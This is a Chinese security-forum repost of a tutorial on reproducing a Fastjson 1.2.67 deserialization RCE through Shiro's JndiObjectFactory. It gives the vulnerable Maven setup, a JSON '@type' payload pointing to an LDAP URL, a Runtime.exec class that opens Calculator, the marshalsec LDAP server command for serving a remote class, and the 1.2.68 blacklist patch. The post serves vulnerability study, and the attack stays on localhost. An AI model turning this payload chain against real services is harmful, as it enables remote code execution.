安全矩阵

 找回密码
 立即注册
搜索
查看: 6839|回复: 0

初识Fastjson漏洞(环境搭建及漏洞复现)

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-7-6 19:47:04 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-7-6 19:49 编辑

原文链接:初识Fastjson漏洞(环境搭建及漏洞复现)


目前网上的资源整理不是针对入门玩家,都需要一定的java漏洞调试基础,本文从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发,拥有属于自己的一套漏洞调试环境。
0x01 Fastjson简介
Fastjson 是Alibaba的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 https://github.com/alibaba/fastjson


0x02 环境搭建
JDK 版本:8u112fastjson: 1.2.67shiro: 1.5.1slf4j-nop: 1.7.25

0x1 添加依赖包
为了快速添加项目所需要的jar包,创建Maven项目如下



pom.xml
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <project xmlns="http://maven.apache.org/POM/4.0.0"
  3.          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4.          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  5.     <modelVersion>4.0.0</modelVersion>

  6.     <groupId>groupId</groupId>
  7.     <artifactId>Fastjson1.2.66_RCE</artifactId>
  8.     <version>1.0-SNAPSHOT</version>
  9.     <dependencies>
  10.         <dependency>
  11.         <groupId>com.alibaba</groupId>
  12.         <artifactId>fastjson</artifactId>
  13.         <version>1.2.67</version>
  14.         </dependency>

  15.         <dependency>
  16.         <groupId>org.apache.shiro</groupId>
  17.         <artifactId>shiro-core</artifactId>
  18.         <version>1.5.1</version>
  19.         </dependency>

  20.         <dependency>
  21.         <groupId>org.slf4j</groupId>
  22.         <artifactId>slf4j-simple</artifactId>
  23.         <version>1.7.25</version>
  24.         <scope>test</scope>
  25.         </dependency>

  26.         <dependency>
  27.             <groupId>org.slf4j</groupId>
  28.             <artifactId>slf4j-nop</artifactId>
  29.             <version>1.7.25</version>
  30.         </dependency>

  31.     </dependencies>
  32.     <properties>
  33.         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  34.         <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
  35.         <java.version>1.8</java.version>
  36.         <maven.compiler.source>1.8</maven.compiler.source>
  37.         <maven.compiler.target>1.8</maven.compiler.target>
  38.     </properties>
  39. </project>
复制代码

之后右键pom.xml 点击下载source和document




0x2 选择JDK版本
该漏洞选择JDK 8u112


0x3 编写漏洞代码
在main文件夹中添加漏洞代码,核心在于调用了fastjson.JSON的parseObject 函数


  1. import com.alibaba.fastjson.JSON;
  2. import com.alibaba.fastjson.parser.ParserConfig;

  3. public class test {
  4.     public static void main(String[] args) {
  5.         System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  6.         ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

  7.         String payload = "{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127.0.0.1:1389/Exploit"}";
  8.         try {
  9.             JSON.parseObject(payload);
  10.         } catch (Exception e) {
  11.             e.printStackTrace();
  12.         }

  13.     }
  14. }
复制代码

0x03 漏洞原理

0x1 FastJson 类解析
Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。
FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。
fastjson.java
  1. package com.teddy.fastjson;

  2. import com.alibaba.fastjson.JSON;
  3. import java.io.IOException;

  4. public class fastjson {

  5.     public String name;
  6.     public String age;
  7.     public fastjson() throws IOException {
  8.     }

  9.     public void setName(String test) {
  10.         System.out.println("name setter called");
  11.         this.name = test;
  12.     }

  13.     public String getName() {
  14.         System.out.println("name getter called");
  15.         return this.name;
  16.     }

  17.     public void setAge(String test) {
  18.         System.out.println("age setter called");
  19.         this.age = test;
  20.     }
  21.     public String getAge(){
  22.         System.out.println("age getter called");
  23.         return this.age;
  24.     }

  25.     public static void main(String[] args) {
  26.         Object obj = JSON.parse("{"@type":"com.teddy.fastjson.fastjson","name":"test name", "age":"test age"}");
  27.         System.out.println(obj);
  28.         System.out.println("------------");
  29.         Object obj2 = JSON.parseObject("{"@type":"com.teddy.fastjson.fastjson","name":"test name", "age":"test age"}");
  30.         System.out.println(obj2);
  31.     }

  32. }
复制代码
result
  1. name setter called
  2. age setter called
  3. com.teddy.fastjson.fastjson@66480dd7
  4. ------------
  5. name setter called
  6. age setter called
  7. age getter called
  8. name getter called
  9. {"name":"thisisname","age":"thisisage"}
复制代码
由结果可以看出调用parseObject 函数会调用getattr方法。


0x2 漏洞调用链分析
调用栈分析



1. parseObject 对象类型转换

这一步的操作是将obj对应的对象类型转化为json格式,这势必要方位getattr 对象方法,从而触发漏洞。


2. 反射调用
通过invoke方法,调用getinstance方法



3. 触发ldap
在JndiObjectFactory getinstance 中调用了this.lookup(resourceName)



0x3 JNDI 注入
Java Name Directory Interface,Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。
注入方法:
  • JNDI Reference 配合 RMI
  • JNDI Reference 配合 LDAP

RMI格式:ctx.lookup("rmi://localhost:9999/refObj");LDAP格式ctx.lookup("ldap://localhost:9999/refObj");
若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即可实现JNDI注入实现任意代码执行。


1 RMI
RMI(Remote Method Invocation,远程方法调用)。远程方法调用是分布式编程中的一个基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。


2 LDAP
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务,获取并执行自己编译的Exploit.class文件。


0x04 漏洞利用
0x1 编译Java 利用代码
  1. import java.io.BufferedReader;
  2. import java.io.IOException;
  3. import java.io.InputStream;
  4. import java.io.InputStreamReader;
  5. import java.io.Reader;
  6. import javax.print.attribute.standard.PrinterMessageFromOperator;
  7. public class ExecTest {
  8.     public ExecTest() throws IOException,InterruptedException{
  9.         String cmd="/Applications/Calculator.app/Contents/MacOS/Calculator";
  10.         final Process process = Runtime.getRuntime().exec(cmd);
  11.         printMessage(process.getInputStream());;
  12.         printMessage(process.getErrorStream());
  13.         int value=process.waitFor();
  14.         System.out.println(value);
  15.     }

  16.     private static void printMessage(final InputStream input) {
  17.         // TODO Auto-generated method stub
  18.         new Thread (new Runnable() {
  19.             @Override
  20.             public void run() {
  21.                 // TODO Auto-generated method stub
  22.                 Reader reader =new InputStreamReader(input);
  23.                 BufferedReader bf = new BufferedReader(reader);
  24.                 String line = null;
  25.                 try {
  26.                     while ((line=bf.readLine())!=null)
  27.                     {
  28.                         System.out.println(line);
  29.                     }
  30.                 }catch (IOException  e){
  31.                     e.printStackTrace();
  32.                 }
  33.             }
  34.         }).start();
  35.     }
  36. }
复制代码

命令行编译class文件
  1. /Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/bin/javac Exploit.java
复制代码

0x2 开启 LDAP 服务
使用marshalsec启动一个ladp服务器 ,下载地址为https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit


0x3 开启HTTP Web 服务
将编译好的Exploit.class 放在web目录下并开启服务


0x05 漏洞补丁
这个链接梳理了fastjson hash对应的jar,可以方便的寻找已经被过滤的jar包https://github.com/LeadroyaL/fastjson-blacklist


该漏洞采用黑名单的方式进行修补,在1.2.68中把org.apache.shiro.jndi 给ban掉了


对应的具体代码如下图所示,在   public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函数中有对应处理


黑名单hash生成算法,大概思路是将每一位都异或进行异或叠加。
  1. if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
  2.             long hash = h3;
  3.             for (int i = 3; i < className.length(); ++i) {
  4.                 hash ^= className.charAt(i);
  5.                 hash *= PRIME;
  6.                 if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
  7.                     clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
  8.                     if (clazz != null) {
  9.                         return clazz;
  10.                     }
  11.                 }
  12.                 if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
  13.                     if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
  14.                         continue;
  15.                     }
  16.                     throw new JSONException("autoType is not support. " + typeName);
  17.                 }
  18.             }
  19.         }
复制代码

0x06 参考链接
  1. 本文项目链接 https://github.com/ctlyz123/fastjson_vul

  2. https://www.jianshu.com/p/776c56fc3a80

  3. https://github.com/LeadroyaL/fastjson-blacklist

  4. http://xxlegend.com/2018/10/23/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

  5. https://www.freebuf.com/column/189835.html

  6. https://cloud.tencent.com/developer/article/1601977

  7. https://paper.seebug.org/994/#0x01-fastjson
复制代码




























回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 22:52 , Processed in 0.018058 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表